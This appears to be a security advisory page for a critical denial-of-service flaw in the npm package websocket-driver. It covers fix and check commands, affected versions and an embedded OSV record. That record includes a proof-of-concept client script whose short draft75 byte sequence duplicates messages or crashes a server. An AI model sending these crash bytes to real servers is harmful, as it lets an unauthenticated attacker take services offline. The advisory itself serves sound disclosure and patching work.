CVE-2026-140004: websocket-driver Denial of Service Vulnerability
CRITICALCVE-2026-140004 is a CRITICAL (CVSS 9.1) denial of service vulnerability (CWE-456: Missing Initialization of a Variable) affecting websocket-driver libraries in the npm ecosystem. The issue involves message corruption and denial of service triggered by crafted client message. Remediation is available by upgrading affected packages to version 0.8.0.
CVE-2026-140004 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-140004
To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install websocket-driver@0.8.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls websocket-driver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140004, inspect your project dependencies using npm:
npm ls websocket-driver
Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.0), your application is affected.
Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-456: Missing Initialization of a Variable, where the product does not initialize critical variables, which causes the execution environment to use unexpected values. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140004 Affected websocket-driver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
websocket-driver
|
npm |
< 0.8.0
|
0.8.0
|
References
Frequently Asked Questions
What is CVE-2026-140004?
Which websocket-driver versions are affected?
What version fixes CVE-2026-140004?
Is websocket-driver affected?
What is the CVSS score of CVE-2026-140004?
What CWE is associated with CVE-2026-140004?
How can I check npm dependencies for CVE-2026-140004?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v36f-rjg3-3v46",
"modified" : "2026-12-01T18:20:33Z",
"published" : "2026-12-01T18:20:33Z",
"aliases" : [ "CVE-2026-140004" ],
"summary" : "websocket-driver: Message corruption and denial of service triggered by crafted client message",
"details" : "### Summary\n\nAn unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.\n\nTo mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n let driver = ws.server()\n\n driver.on('connect', () => {\n if (ws.isWebSocket(driver)) driver.start()\n })\n\n driver.on('close', () => conn.end())\n conn.pipe(driver.io).pipe(conn)\n\n driver.on('message', (msg) => console.log(msg.data))\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () => {\n tcp.write([\n 'GET / HTTP/1.1',\n 'Host: 127.0.0.1:8000',\n 'Connection: upgrade',\n 'Upgrade: websocket',\n '', ''\n ].join('\\r\\n'))\n\n tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))\n tcp.write(Buffer.from([0x80, 0x01, 0xff]))\n})\n```\n\nThis client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes.\n\nAfter upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "websocket-driver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v36f-rjg3-3v46"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140004"
}, {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/commit/f9f657c823ff826dc4bccda4c603ee076c089bd7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/faye/websocket-driver-node"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-248", "CWE-456" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-01T18:20:33Z",
"nvd_published_at" : "2026-11-30T22:17:29Z"
}
}